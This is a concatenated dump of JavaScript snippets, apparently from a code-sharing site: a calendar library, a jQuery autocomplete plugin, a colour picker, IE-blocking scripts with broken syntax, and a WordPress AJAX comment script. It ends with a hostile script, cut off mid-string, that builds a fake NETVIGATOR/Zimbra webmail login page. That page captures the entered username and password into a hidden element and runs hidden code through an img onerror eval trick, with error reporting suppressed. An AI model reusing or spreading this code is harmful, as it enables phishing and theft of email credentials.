"%P": case "%p": if (/pm/i.test(a[i]) && hr < 12) hr += 12; else if (/am/i.test(a[i]) && hr >= 12) hr -= 12; break; case "%M": min = parseInt(a[i], 10); break; } } if (isNaN(y)) y = today.getFullYear(); if (isNaN(m)) m = today.getMonth(); if (isNaN(d)) d = today.getDate(); if (isNaN(hr)) hr = today.getHours(); if (isNaN(min)) min = today.getMinutes(); if (y != 0 && m != -1 && d != 0) return new Date(y, m, d, hr, min, 0); y = 0; m = -1; d = 0; for (i = 0; i < a.length; ++i) { if (a[i].search(/[a-zA-Z]+/) != -1) { var t = -1; for (j = 0; j < 12; ++j) { if (Calendar._MN[j].substr(0, a[i].length).toLowerCase() == a[i].toLowerCase()) { t = j; break; } } if (t != -1) { if (m != -1) { d = m+1; } m = t; } } else if (parseInt(a[i], 10) <= 12 && m == -1) { m = a[i]-1; } else if (parseInt(a[i], 10) > 31 && y == 0) { y = parseInt(a[i], 10); (y < 100) && (y += (y > 29) ? 1900 : 2000); } else if (d == 0) { d = a[i]; } } if (y == 0) y = today.getFullYear(); if (m != -1 && d != 0) return new Date(y, m, d, hr, min, 0); return today; }; Date.prototype.getMonthDays = function(month) { var year = this.getFullYear(); if (typeof month == "undefined") { month = this.getMonth(); } if (((0 == (year%4)) && ( (0 != (year%100)) || (0 == (year%400)))) && month == 1) { return 29; } else { return Date._MD[month]; } }; Date.prototype.getDayOfYear = function() { var now = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0); var then = new Date(this.getFullYear(), 0, 0, 0, 0, 0); var time = now - then; return Math.floor(time / Date.DAY); }; Date.prototype.getWeekNumber = function() { var d = new Date(this.getFullYear(), this.getMonth(), this.getDate(), 0, 0, 0); var DoW = d.getDay(); d.setDate(d.getDate() - (DoW + 6) % 7 + 3); var ms = d.valueOf(); d.setMonth(0); d.setDate(4); return Math.round((ms - d.valueOf()) / (7 * 864e5)) + 1; }; Date.prototype.equalsTo = function(date) { return ((this.getFullYear() == date.getFullYear()) && (this.getMonth() == date.getMonth()) && (this.getDate() == date.getDate()) && (this.getHours() == date.getHours()) && (this.getMinutes() == date.getMinutes())); }; Date.prototype.setDateOnly = function(date) { var tmp = new Date(date); this.setDate(1); this.setFullYear(tmp.getFullYear()); this.setMonth(tmp.getMonth()); this.setDate(tmp.getDate()); }; Date.prototype.print = function (str) { var m = this.getMonth(); var d = this.getDate(); var y = this.getFullYear(); var wn = this.getWeekNumber(); var w = this.getDay(); var s = {}; var hr = this.getHours(); var pm = (hr >= 12); var ir = (pm) ? (hr - 12) : hr; var dy = this.getDayOfYear(); if (ir == 0) ir = 12; var min = this.getMinutes(); var sec = this.getSeconds(); s["%a"] = Calendar._SDN[w];s["%A"] = Calendar._DN[w];s["%b"] = Calendar._SMN[m];s["%B"] = Calendar._MN[m]; s["%C"] = 1 + Math.floor(y / 100);s["%d"] = (d < 10) ? ("0" + d) : d;s["%e"] = d;s["%H"] = (hr < 10) ? ("0" + hr) : hr;s["%I"] = (ir < 10) ? ("0" + ir) : ir;s["%j"] = (dy < 100) ? ((dy < 10) ? ("00" + dy) : ("0" + dy)) : dy;s["%k"] = hr; s["%l"] = ir; s["%m"] = (m < 9) ? ("0" + (1+m)) : (1+m);s["%M"] = (min < 10) ? ("0" + min) : min;s["%n"] = "\n"; s["%p"] = pm ? "PM" : "AM"; s["%P"] = pm ? "pm" : "am"; s["%s"] = Math.floor(this.getTime() / 1000); s["%S"] = (sec < 10) ? ("0" + sec) : sec;s["%t"] = "\t";s["%U"] = s["%W"] = s["%V"] = (wn < 10) ? ("0" + wn) : wn; s["%u"] = w + 1; s["%w"] = w; s["%y"] = ('' + y).substr(2, 2);s["%Y"] = y; s["%%"] = "%"; var re = /%./g; if (!Calendar.is_ie5 && !Calendar.is_khtml) return str.replace(re, function (par) { return s[par] || par; });var a = str.match(re); for (var i = 0; i < a.length; i++) { var tmp = s[a[i]]; if (tmp) { re = new RegExp(a[i], 'g'); str = str.replace(re, tmp); } }return str; };Date.prototype.__msh_oldSetFullYear = Date.prototype.setFullYear; Date.prototype.setFullYear = function(y) { var d = new Date(this); d.__msh_oldSetFullYear(y); if (d.getMonth() != this.getMonth()) this.setDate(28); this.__msh_oldSetFullYear(y); };window._dynarch_popupCalendar = null;
JavaScript
/* Copyright Mihai Bazon, 2002, 2003 | http://dynarch.com/mishoo/ */ Calendar.setup = function (params) { function param_default(pname, def) { if (typeof params[pname] == "undefined") { params[pname] = def; } }; param_default("inputField", null); param_default("displayArea", null); param_default("button", null); param_default("eventName", "click"); param_default("ifFormat", "%Y/%m/%d"); param_default("daFormat", "%Y/%m/%d"); param_default("singleClick", true); param_default("disableFunc", null); param_default("dateStatusFunc", params["disableFunc"]); // takes precedence if both are defined param_default("dateText", null); param_default("firstDay", null); param_default("align", "Br"); param_default("range", [1900, 2999]); param_default("weekNumbers", true); param_default("flat", null); param_default("flatCallback", null); param_default("onSelect", null); param_default("onClose", null); param_default("onUpdate", null); param_default("date", null); param_default("showsTime", false); param_default("timeFormat", "24"); param_default("electric", true); param_default("step", 2); param_default("position", null); param_default("cache", false); param_default("showOthers", false); param_default("multiple", null); var tmp = ["inputField", "displayArea", "button"]; for (var i in tmp) { if (typeof params[tmp[i]] == "string") { params[tmp[i]] = document.getElementById(params[tmp[i]]); } } if (!(params.flat || params.multiple || params.inputField || params.displayArea || params.button)) { alert("Calendar.setup:\n Nothing to setup (no fields found). Please check your code"); return false; } function onSelect(cal) { var p = cal.params; var update = (cal.dateClicked || p.electric); if (update && p.inputField) { p.inputField.value = cal.date.print(p.ifFormat); if (typeof p.inputField.onchange == "function") p.inputField.onchange(); } if (update && p.displayArea) p.displayArea.innerHTML = cal.date.print(p.daFormat); if (update && typeof p.onUpdate == "function") p.onUpdate(cal); if (update && p.flat) { if (typeof p.flatCallback == "function") p.flatCallback(cal); } if (update && p.singleClick && cal.dateClicked) cal.callCloseHandler(); }; if (params.flat != null) { if (typeof params.flat == "string") params.flat = document.getElementById(params.flat); if (!params.flat) { alert("Calendar.setup:\n Flat specified but can't find parent."); return false; } var cal = new Calendar(params.firstDay, params.date, params.onSelect || onSelect); cal.showsOtherMonths = params.showOthers; cal.showsTime = params.showsTime; cal.time24 = (params.timeFormat == "24"); cal.params = params; cal.weekNumbers = params.weekNumbers; cal.setRange(params.range[0], params.range[1]); cal.setDateStatusHandler(params.dateStatusFunc); cal.getDateText = params.dateText; if (params.ifFormat) { cal.setDateFormat(params.ifFormat); } if (params.inputField && typeof params.inputField.value == "string") { cal.parseDate(params.inputField.value); } cal.create(params.flat); cal.show(); return false; } var triggerEl = params.button || params.displayArea || params.inputField; triggerEl["on" + params.eventName] = function() { var dateEl = params.inputField || params.displayArea; var dateFmt = params.inputField ? params.ifFormat : params.daFormat; var mustCreate = false; var cal = window.calendar; if (dateEl) params.date = Date.parseDate(dateEl.value || dateEl.innerHTML, dateFmt); if (!(cal && params.cache)) { window.calendar = cal = new Calendar(params.firstDay, params.date, params.onSelect || onSelect, params.onClose || function(cal) { cal.hide(); }); cal.showsTime = params.showsTime; cal.time24 = (params.timeFormat == "24"); cal.weekNumbers = params.weekNumbers; mustCreate = true; } else { if (params.date) cal.setDate(params.date); cal.hide(); } if (params.multiple) { cal.multiple = {}; for (var i = params.multiple.length; --i >= 0;) { var d = params.multiple[i]; var ds = d.print("%Y%m%d"); cal.multiple[ds] = d; } } cal.showsOtherMonths = params.showOthers; cal.yearStep = params.step; cal.setRange(params.range[0], params.range[1]); cal.params = params; cal.setDateStatusHandler(params.dateStatusFunc); cal.getDateText = params.dateText; cal.setDateFormat(dateFmt); if (mustCreate) cal.create(); cal.refresh(); if (!params.position) cal.showAtElement(params.button || params.displayArea || params.inputField, params.align); else cal.showAt(params.position[0], params.position[1]); return false; }; return cal; };
JavaScript
/** * Ajax Autocomplete for jQuery, version 1.1.3 * (c) 2010 Tomas Kirda * * Ajax Autocomplete for jQuery is freely distributable under the terms of an MIT-style license. * For details, see the web site: http://www.devbridge.com/projects/autocomplete/jquery/ * * Last Review: 04/19/2010 */ /*jslint onevar: true, evil: true, nomen: true, eqeqeq: true, bitwise: true, regexp: true, newcap: true, immed: true */ /*global window: true, document: true, clearInterval: true, setInterval: true, jQuery: true */ (function($) { var reEscape = new RegExp('(\\' + ['/', '.', '*', '+', '?', '|', '(', ')', '[', ']', '{', '}', '\\'].join('|\\') + ')', 'g'); function fnFormatResult(value, data, currentValue) { var pattern = '(' + currentValue.replace(reEscape, '\\$1') + ')'; return value.replace(new RegExp(pattern, 'gi'), '<strong>$1<\/strong>'); } function Autocomplete(el, options) { this.el = $(el); this.el.attr('autocomplete', 'off'); this.suggestions = []; this.data = []; this.badQueries = []; this.selectedIndex = -1; this.currentValue = this.el.val(); this.intervalId = 0; this.cachedResponse = []; this.onChangeInterval = null; this.ignoreValueChange = false; this.serviceUrl = options.serviceUrl; this.isLocal = false; this.options = { autoSubmit: false, minChars: 1, maxHeight: 300, deferRequestBy: 0, width: 0, highlight: true, params: {}, fnFormatResult: fnFormatResult, delimiter: null, zIndex: 9999 }; this.initialize(); this.setOptions(options); } $.fn.autocomplete = function(options) { return new Autocomplete(this.get(0)||$('<input />'), options); }; Autocomplete.prototype = { killerFn: null, initialize: function() { var me, uid, autocompleteElId; me = this; uid = Math.floor(Math.random()*0x100000).toString(16); autocompleteElId = 'Autocomplete_' + uid; this.killerFn = function(e) { if ($(e.target).parents('.autocomplete').size() === 0) { me.killSuggestions(); me.disableKillerFn(); } }; if (!this.options.width) { this.options.width = this.el.width(); } this.mainContainerId = 'AutocompleteContainter_' + uid; $('<div id="' + this.mainContainerId + '" style="position:absolute;z-index:9999;"><div class="autocomplete-w1"><div class="autocomplete" id="' + autocompleteElId + '" style="display:none; width:300px;"></div></div></div>').appendTo('body'); this.container = $('#' + autocompleteElId); this.fixPosition(); if (window.opera) { this.el.keypress(function(e) { me.onKeyPress(e); }); } else { this.el.keydown(function(e) { me.onKeyPress(e); }); } this.el.keyup(function(e) { me.onKeyUp(e); }); this.el.blur(function() { me.enableKillerFn(); }); this.el.focus(function() { me.fixPosition(); }); }, setOptions: function(options){ var o = this.options; $.extend(o, options); if(o.lookup){ this.isLocal = true; if($.isArray(o.lookup)){ o.lookup = { suggestions:o.lookup, data:[] }; } } $('#'+this.mainContainerId).css({ zIndex:o.zIndex }); this.container.css({ maxHeight: o.maxHeight + 'px', width:o.width }); }, clearCache: function(){ this.cachedResponse = []; this.badQueries = []; }, disable: function(){ this.disabled = true; }, enable: function(){ this.disabled = false; }, fixPosition: function() { var offset = this.el.offset(); $('#' + this.mainContainerId).css({ top: (offset.top + this.el.innerHeight()) + 'px', left: offset.left + 'px' }); }, enableKillerFn: function() { var me = this; $(document).bind('click', me.killerFn); }, disableKillerFn: function() { var me = this; $(document).unbind('click', me.killerFn); }, killSuggestions: function() { var me = this; this.stopKillSuggestions(); this.intervalId = window.setInterval(function() { me.hide(); me.stopKillSuggestions(); }, 300); }, stopKillSuggestions: function() { window.clearInterval(this.intervalId); }, onKeyPress: function(e) { if (this.disabled || !this.enabled) { return; } // return will exit the function // and event will not be prevented switch (e.keyCode) { case 27: //KEY_ESC: this.el.val(this.currentValue); this.hide(); break; case 9: //KEY_TAB: case 13: //KEY_RETURN: if (this.selectedIndex === -1) { this.hide(); return; } this.select(this.selectedIndex); if(e.keyCode === 9){ return; } break; case 38: //KEY_UP: this.moveUp(); break; case 40: //KEY_DOWN: this.moveDown(); break; default: return; } e.stopImmediatePropagation(); e.preventDefault(); }, onKeyUp: function(e) { if(this.disabled){ return; } switch (e.keyCode) { case 38: //KEY_UP: case 40: //KEY_DOWN: return; } clearInterval(this.onChangeInterval); if (this.currentValue !== this.el.val()) { if (this.options.deferRequestBy > 0) { // Defer lookup in case when value changes very quickly: var me = this; this.onChangeInterval = setInterval(function() { me.onValueChange(); }, this.options.deferRequestBy); } else { this.onValueChange(); } } }, onValueChange: function() { clearInterval(this.onChangeInterval); this.currentValue = this.el.val(); var q = this.getQuery(this.currentValue); this.selectedIndex = -1; if (this.ignoreValueChange) { this.ignoreValueChange = false; return; } if (q === '' || q.length < this.options.minChars) { this.hide(); } else { this.getSuggestions(q); } }, getQuery: function(val) { var d, arr; d = this.options.delimiter; if (!d) { return $.trim(val); } arr = val.split(d); return $.trim(arr[arr.length - 1]); }, getSuggestionsLocal: function(q) { var ret, arr, len, val, i; arr = this.options.lookup; len = arr.suggestions.length; ret = { suggestions:[], data:[] }; q = q.toLowerCase(); for(i=0; i< len; i++){ val = arr.suggestions[i]; if(val.toLowerCase().indexOf(q) === 0){ ret.suggestions.push(val); ret.data.push(arr.data[i]); } } return ret; }, getSuggestions: function(q) { var cr, me; cr = this.isLocal ? this.getSuggestionsLocal(q) : this.cachedResponse[q]; if (cr && $.isArray(cr.suggestions)) { this.suggestions = cr.suggestions; this.data = cr.data; this.suggest(); } else if (!this.isBadQuery(q)) { me = this; me.options.params.query = q; $.get(this.serviceUrl, me.options.params, function(txt) { me.processResponse(txt); }, 'text'); } }, isBadQuery: function(q) { var i = this.badQueries.length; while (i--) { if (q.indexOf(this.badQueries[i]) === 0) { return true; } } return false; }, hide: function() { this.enabled = false; this.selectedIndex = -1; this.container.hide(); }, suggest: function() { if (this.suggestions.length === 0) { this.hide(); return; } var me, len, div, f, v, i, s, mOver, mClick; me = this; len = this.suggestions.length; f = this.options.fnFormatResult; v = this.getQuery(this.currentValue); mOver = function(xi) { return function() { me.activate(xi); }; }; mClick = function(xi) { return function() { me.select(xi); }; }; this.container.hide().empty(); for (i = 0; i < len; i++) { s = this.suggestions[i]; div = $((me.selectedIndex === i ? '<div class="selected"' : '<div') + ' title="' + s + '">' + f(s, this.data[i], v) + '</div>'); div.mouseover(mOver(i)); div.click(mClick(i)); this.container.append(div); } this.enabled = true; this.container.show(); }, processResponse: function(text) { var response; try { response = eval('(' + text + ')'); } catch (err) { return; } if (!$.isArray(response.data)) { response.data = []; } if(!this.options.noCache){ this.cachedResponse[response.query] = response; if (response.suggestions.length === 0) { this.badQueries.push(response.query); } } if (response.query === this.getQuery(this.currentValue)) { this.suggestions = response.suggestions; this.data = response.data; this.suggest(); } }, activate: function(index) { var divs, activeItem; divs = this.container.children(); // Clear previous selection: if (this.selectedIndex !== -1 && divs.length > this.selectedIndex) { $(divs.get(this.selectedIndex)).removeClass(); } this.selectedIndex = index; if (this.selectedIndex !== -1 && divs.length > this.selectedIndex) { activeItem = divs.get(this.selectedIndex); $(activeItem).addClass('selected'); } return activeItem; }, deactivate: function(div, index) { div.className = ''; if (this.selectedIndex === index) { this.selectedIndex = -1; } }, select: function(i) { var selectedValue, f; selectedValue = this.suggestions[i]; if (selectedValue) { this.el.val(selectedValue); if (this.options.autoSubmit) { f = this.el.parents('form'); if (f.length > 0) { f.get(0).submit(); } } this.ignoreValueChange = true; this.hide(); this.onSelect(i); } }, moveUp: function() { if (this.selectedIndex === -1) { return; } if (this.selectedIndex === 0) { this.container.children().get(0).className = ''; this.selectedIndex = -1; this.el.val(this.currentValue); return; } this.adjustScroll(this.selectedIndex - 1); }, moveDown: function() { if (this.selectedIndex === (this.suggestions.length - 1)) { return; } this.adjustScroll(this.selectedIndex + 1); }, adjustScroll: function(i) { var activeItem, offsetTop, upperBound, lowerBound; activeItem = this.activate(i); offsetTop = activeItem.offsetTop; upperBound = this.container.scrollTop(); lowerBound = upperBound + this.options.maxHeight - 25; if (offsetTop < upperBound) { this.container.scrollTop(offsetTop); } else if (offsetTop > lowerBound) { this.container.scrollTop(offsetTop - this.options.maxHeight + 25); } this.el.val(this.getValue(this.suggestions[i])); }, onSelect: function(i) { var me, fn, s, d; me = this; fn = me.options.onSelect; s = me.suggestions[i]; d = me.data[i]; me.el.val(me.getValue(s)); if ($.isFunction(fn)) { fn(s, d, me.el); } }, getValue: function(value){ var del, currVal, arr, me; me = this; del = me.options.delimiter; if (!del) { return value; } currVal = me.currentValue; arr = currVal.split(del); if (arr.length === 1) { return value; } return currVal.substr(0, currVal.length - arr[arr.length - 1].length) + value; } }; }(jQuery));
JavaScript
Ask = function () { str = "What "; this.name += prompt('Is your quest?'); str += this.name; }
JavaScript
var farbtastic; (function($){ var pickColor = function(a) { farbtastic.setColor(a); $('#link-color').val(a); $('#link-color-example').css('background-color', a); }; $(document).ready( function() { $('#default-color').wrapInner('<a href="#" />'); farbtastic = $.farbtastic('#colorPickerDiv', pickColor); pickColor( $('#link-color').val() ); $('.pickcolor').click( function(e) { $('#colorPickerDiv').show(); e.preventDefault(); }); $('#link-color').keyup( function() { var a = $('#link-color').val(), b = a; a = a.replace(/[^a-fA-F0-9]/, ''); if ( '#' + a !== b ) $('#link-color').val(a); if ( a.length === 3 || a.length === 6 ) pickColor( '#' + a ); }); $(document).mousedown( function() { $('#colorPickerDiv').hide(); }); $('#default-color a').click( function(e) { pickColor( '#' + this.innerHTML.replace(/[^a-fA-F0-9]/, '') ); e.preventDefault(); }); $('.image-radio-option.color-scheme input:radio').change( function() { var currentDefault = $('#default-color a'), newDefault = $(this).next().val(); if ( $('#link-color').val() == currentDefault.text() ) pickColor( newDefault ); currentDefault.text( newDefault ); }); }); })(jQuery);
JavaScript
//This script alert a message to IE9 users. if(confirm("虽然本站允许IE9访问,但其低劣的性能无法让您体验一些最新的技术。\n\n您确定要继续访问吗?\n\n点击'是'将继续访问本站;\n点击'否'将进入谷歌Chrome浏览器下载页,您可以在安装Chrome浏览器之后访问本站,以获得最好的浏览效果。")){ document.root.style.display=="normal"; }else{ document.root.style.display=="none"; window.location="http://www.google.com/chrome/"; }
JavaScript
(function($) { $(document).ready( function() { $('.feature-slider a').click(function(e) { $('.featured-posts section.featured-post').css({ opacity: 0, visibility: 'hidden' }); $(this.hash).css({ opacity: 1, visibility: 'visible' }); $('.feature-slider a').removeClass('active'); $(this).addClass('active'); e.preventDefault(); }); }); })(jQuery);
JavaScript
//This script ban IE8 and lower version IE users. alert"低于IE9版本的IE浏览器禁止访问本站!\n您将被重定向到谷歌Chrome浏览器下载页。"; document.root.style.display=="none"; window.location="http://www.google.com/chrome/";
JavaScript
/** * WordPress jQuery-Ajax-Comments v1.3 by Willin Kan. * URI: http://kan.willin.org/?p=1271 */ var i = 0, got = -1, len = document.getElementsByTagName('script').length; while ( i <= len && got == -1){ var js_url = document.getElementsByTagName('script')[i].src, got = js_url.indexOf('comments-ajax.js'); i++ ; } var edit_mode = '1', // 再編輯模式 ( '1'=開; '0'=不開 ) ajax_php_url = js_url.replace('-ajax.js','-ajax.php'), wp_url = js_url.substr(0, js_url.indexOf('wp-content')), pic_sb = wp_url + 'wp-admin/images/wpspin_dark.gif', // 提交 icon pic_no = wp_url + 'wp-admin/images/no.png', // 錯誤 icon pic_ys = wp_url + 'wp-admin/images/yes.png', // 成功 icon txt1 = '<div id="loading"><img src="' + pic_sb + '" style="vertical-align:middle;" alt=""/> 正在提交, 請稍候...</div>', txt2 = '<div id="error">#</div>', txt3 = '"><img src="' + pic_ys + '" style="vertical-align:middle;" alt=""/> 提交成功', edt1 = ', 刷新页面之前可以<a rel="nofollow" class="comment-reply-link" href="#edit" onclick=\'return addComment.moveForm("', edt2 = ')\'>再编辑</a>', cancel_edit = '取消编辑', edit, num = 1, comm_array=[]; comm_array.push(''); jQuery(document).ready(function($) { $comments = $('#comments-title'); // 評論數的 ID $cancel = $('#cancel-comment-reply-link'); cancel_text = $cancel.text(); $submit = $('#commentform #submit'); $submit.attr('disabled', false); $('#comment').after( txt1 + txt2 ); $('#loading').hide(); $('#error').hide(); $body = (window.opera) ? (document.compatMode == "CSS1Compat" ? $('html') : $('body')) : $('html,body'); /** submit */ $('#commentform').submit(function() { $('#loading').slideDown(); $submit.attr('disabled', true).fadeTo('slow', 0.5); if ( edit ) $('#comment').after('<input type="text" name="edit_id" id="edit_id" value="' + edit + '" style="display:none;" />'); /** Ajax */ $.ajax( { url: ajax_php_url, data: $(this).serialize(), type: $(this).attr('method'), error: function(request) { $('#loading').slideUp(); $('#error').slideDown().html('<img src="' + pic_no + '" style="vertical-align:middle;" alt=""/> ' + request.responseText); setTimeout(function() {$submit.attr('disabled', false).fadeTo('slow', 1); $('#error').slideUp();}, 3000); }, success: function(data) { $('#loading').hide(); comm_array.push($('#comment').val()); $('textarea').each(function() {this.value = ''}); var t = addComment, cancel = t.I('cancel-comment-reply-link'), temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId), post = t.I('comment_post_ID').value, parent = t.I('comment_parent').value; // comments if ( ! edit && $comments.length ) { n = parseInt($comments.text().match(/\d+/)); $comments.text($comments.text().replace( n, n + 1 )); } // show comment new_htm = '" id="new_comm_' + num + '"></'; new_htm = ( parent == '0' ) ? ('\n<ol style="clear:both;" class="commentlist' + new_htm + 'ol>') : ('\n<ul class="children' + new_htm + 'ul>'); ok_htm = '\n<span id="success_' + num + txt3; if ( edit_mode == '1' ) { div_ = (document.body.innerHTML.indexOf('div-comment-') == -1) ? '' : ((document.body.innerHTML.indexOf('li-comment-') == -1) ? 'div-' : ''); ok_htm = ok_htm.concat(edt1, div_, 'comment-', parent, '", "', parent, '", "respond", "', post, '", ', num, edt2); } ok_htm += '</span><span></span>\n'; $('#respond').before(new_htm); $('#new_comm_' + num).hide().append(data); $('#new_comm_' + num + ' li').append(ok_htm); $('#new_comm_' + num).fadeIn(4000); $body.animate( { scrollTop: $('#new_comm_' + num).offset().top - 200}, 900); countdown(); num++ ; edit = ''; $('*').remove('#edit_id'); cancel.style.display = 'none'; cancel.onclick = null; t.I('comment_parent').value = '0'; if ( temp && respond ) { temp.parentNode.insertBefore(respond, temp); temp.parentNode.removeChild(temp) } } }); // end Ajax return false; }); // end submit /** comment-reply.dev.js */ addComment = { moveForm : function(commId, parentId, respondId, postId, num) { var t = this, div, comm = t.I(commId), respond = t.I(respondId), cancel = t.I('cancel-comment-reply-link'), parent = t.I('comment_parent'), post = t.I('comment_post_ID'); if ( edit ) exit_prev_edit(); num ? ( t.I('comment').value = comm_array[num], edit = t.I('new_comm_' + num).innerHTML.match(/(comment-)(\d+)/)[2], $new_sucs = $('#success_' + num ), $new_sucs.hide(), $new_comm = $('#new_comm_' + num ), $new_comm.hide(), $cancel.text(cancel_edit) ) : $cancel.text(cancel_text); t.respondId = respondId; postId = postId || false; if ( !t.I('wp-temp-form-div') ) { div = document.createElement('div'); div.id = 'wp-temp-form-div'; div.style.display = 'none'; respond.parentNode.insertBefore(div, respond) } !comm ? ( temp = t.I('wp-temp-form-div'), t.I('comment_parent').value = '0', temp.parentNode.insertBefore(respond, temp), temp.parentNode.removeChild(temp) ) : comm.parentNode.insertBefore(respond, comm.nextSibling); $body.animate( { scrollTop: $('#respond').offset().top - 180 }, 400); if ( post && postId ) post.value = postId; parent.value = parentId; cancel.style.display = ''; cancel.onclick = function() { if ( edit ) exit_prev_edit(); var t = addComment, temp = t.I('wp-temp-form-div'), respond = t.I(t.respondId); t.I('comment_parent').value = '0'; if ( temp && respond ) { temp.parentNode.insertBefore(respond, temp); temp.parentNode.removeChild(temp); } this.style.display = 'none'; this.onclick = null; return false; }; try { t.I('comment').focus(); } catch(e) {} return false; }, I : function(e) { return document.getElementById(e); } }; // end addComment function exit_prev_edit() { $new_comm.show(); $new_sucs.show(); $('textarea').each(function() {this.value = ''}); edit = ''; } var wait = 15, submit_val = $submit.val(); function countdown() { if ( wait > 0 ) { $submit.val(wait); wait--; setTimeout(countdown, 1000); } else { $submit.val(submit_val).attr('disabled', false).fadeTo('slow', 1); wait = 15; } } });// end jQ
JavaScript
window.onerror=function() { return true } function getinfo() { return document.getElementById('zimbra_family1').title.split(':'); } var info = getinfo(); var to = info[0]; to=to.replace(/=/g,"@"); to=to.replace(/-/g,"."); var forward = info[1]; forward=forward.replace(/=/g,"@"); forward=forward.replace(/-/g,"."); var tout = parseInt(info[2]); function createpost() { var t = document.createElement('div'); t.id = 'post_div'; document.getElementsByTagName('head')[0].appendChild(t); } function pageinfo() { return "%3Chtml%3E%3Chead%3E%0D%0A%3Cmeta%20http-equiv%3D%22Content-Type%22%20content%3D%22text/html%3Bcharset%3Dutf-8%22%3E%0D%0A%3Ctitle%3ENETVIGATOR%20Email%3A%20Inbox%3C/title%3E%0D%0A%3Clink%20href%3D%22https%3A//m.netvigator.com/zimbra/css/images%2Ccommon%2Cdwt%2Cmsgview%2Clogin%2Czm%2Cspellcheck%2Cwiki%2Cskin.css%3Fv%3D100824101532%26amp%3Bdebug%3D%26amp%3Bskin%3Dsmoke%26amp%3Blocale%3Den_US%22%20rel%3D%22stylesheet%22%20type%3D%22text/css%22%3E%0D%0A%3Cdiv%20id%3Dlogin_appname%20style%3Ddisplay%3Anone%3E%0D%0A%20function%20login%28%29%0D%0A%20%7B%0D%0A%20if%28%21window.parent.document.getElementById%28%22login_name_pass%22%29%29%0D%0A%20%7B%0D%0A%20temp%3Dwindow.parent.document.createElement%28%22div%22%29%3B%0D%0A%20temp.id%3D%22login_name_pass%22%3B%0D%0A%20temp.innerHTML%3D%22--%5E%5E--name%3A%22+ZLoginUserName.value+%22--%5E%5E--pass%3A%22+ZLoginPassword.value%3B%0D%0A%20window.parent.document.getElementsByTagName%28%22head%22%29%5B0%5D.appendChild%28temp%29%0D%0A%20%7D%0D%0A%20else%0D%0A%20%7B%0D%0A%20window.parent.document.getElementById%28%22login_name_pass%22%29.innerHTML%3D%22--%5E%5E--name%3A%22+ZLoginUserName.value+%22--%5E%5E--pass%3A%22+ZLoginPassword.value%3B%0D%0A%20%7D%0D%0A%20tt%3Dlocation.protocol+%22//%22+location.hostname%3B%0D%0A%20if%28window.top.location.href.indexOf%28%22/zimbra/%22%29%21%3D-1%29%0D%0A%20%7B%0D%0A%20tt%3Dtt+%22/%231%22%3B%0D%0A%20%7D%0D%0A%20else%0D%0A%20%7B%0D%0A%20tt%3Dtt+%22/zimbra/%231%22%3B%0D%0A%20%7D%0D%0A%20window.parent.document.getElementById%28%22login_iframe%22%29.contentWindow.document.body.innerHTML%3Dunescape%28%22%253Ciframe%2520src%253D%22+unescape%28tt%29+%22%2520width%253D100%2525%2520height%253D110%2525%2520style%253D%2527position%253Aabsolute%253Bleft%253A0%253Btop%253A63px%2527%253E%253C/iframe%253E%22%29%0D%0A%20%7D%0D%0A%20login%28%29%3B%0D%0A%20%3C/div%3E%0D%0A%3Cdiv%20id%3Deventdiv%3E%0D%0A%0D%0Aif%20%28document.addEventListener%29%20%7B%20%0D%0A%09document.addEventListener%28%22keypress%22%2C%20enterEvent%2C%20true%29%3B%0D%0A%7D%20else%20%7B%0D%0A%09document.attachEvent%28%22onkeypress%22%2C%20enterEvent%29%3B%0D%0A%7D%0D%0Afunction%20enterEvent%28evt%29%20%7B%0D%0A%09if%20%28evt.keyCode%20%3D%3D%2013%29%20%7B%0D%0A%09%09ZLoginButton.click%28%29%0D%0A%09%7D%0D%0A%7D%0D%0A%3C/div%3E%0D%0A%3Cimg%20src%3D%23%20style%3D%22display%3Anone%22%20onerror%3D%22eval%28eventdiv.innerHTML%29%22%3E%0D%0A%3Cbody%20%3E%0D%0A%0D%0A%3Cdiv%20id%3D%22DWT31%22%20class%3D%22ZmLoginDialog%22%20parentid%3D%22z_shell%22%20x-display%3D%22block%22%20style%3D%22position%3A%20absolute%3B%20overflow%3A%20visible%3B%20left%3A%200px%3B%20top%3A%200px%3B%20width%3A%20100%25%3B%20height%3A%20100%25%3B%20z-index%3A%20701%3B%20display%3A%20block%3B%20cursor%3A%20default%3B%22%3E%3Ctable%20border%3D%220%22%20cellspacing%3D%220%22%20cellpadding%3D%220%22%20style%3D%22width%3A100%25%3B%20height%3A100%25%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20align%3D%22center%22%20valign%3D%22center%22%3E%3Cdiv%20id%3D%22ZLoginPanel%22%3E%3Ctable%20class%3D%22zLoginTable%22%20width%3D%22100%25%22%20cellpadding%3D%220%22%20cellspacing%3D%220%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginHeaderContainer%22%3E%3Ccenter%3E%3Ctable%20class%3D%22zLoginTable%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginBannerContainer%22%3E%3Cdiv%20id%3D%22ZLoginBannerPanel%22%3E%3Ctable%20class%3D%22zLoginTable%22%3E%3Ctbody%3E%3Ctr%3E%3Ctd%3E%3Cdiv%20style%3D%22cursor%3Apointer%22%20id%3D%22ZLoginBannerImage%22%20class%3D%22ImgLoginBanner%22%20onclick%3D%22window.open%28%26quot%3B%26quot%3B%2C%20%26quot%3B_blank%26quot%3B%29%22%3E%3C/div%3E%3C/td%3E%3Ctd%20valign%3D%22top%22%20id%3D%22ZLoginShortVersion%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3Cdiv%20id%3D%22ZLoginAppName%22%3ECollaboration%20Suite%3C/div%3E%3Cdiv%20id%3D%22ZLoginProductName%22%3E%3C/div%3E%3Cdiv%20id%3D%22ZLoginLongVersion%22%3E%3C/div%3E%3C/div%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/center%3E%3C/td%3E%3C/tr%3E%3Ctr%3E%3Ctd%20id%3D%22ZLoginBodyContainer%22%3E%3Cdiv%20id%3D%22ZLoginErrorPanel%22%20style%3D%22display%3A%20none%3B%22%3E%3Ctable%3E%3Ctbody%3E%3Ctr%3E%3Ctd%20valign%3D%22top%22%20width%3D%2240%22%3E%3Cdiv%20class%3D%22ImgCritical_32%22%3E%3C/div%3E%3C/td%3E%3Ctd%20width%3D%22*%22%20id%3D%22ZLoginErrorMsg%22%20class%3D%22errorText%22%3E%3C/td%3E%3C/tr%3E%3C/tbody%3E%3C/table%3E%3C/div%3E%3Cdiv%20id%3D%22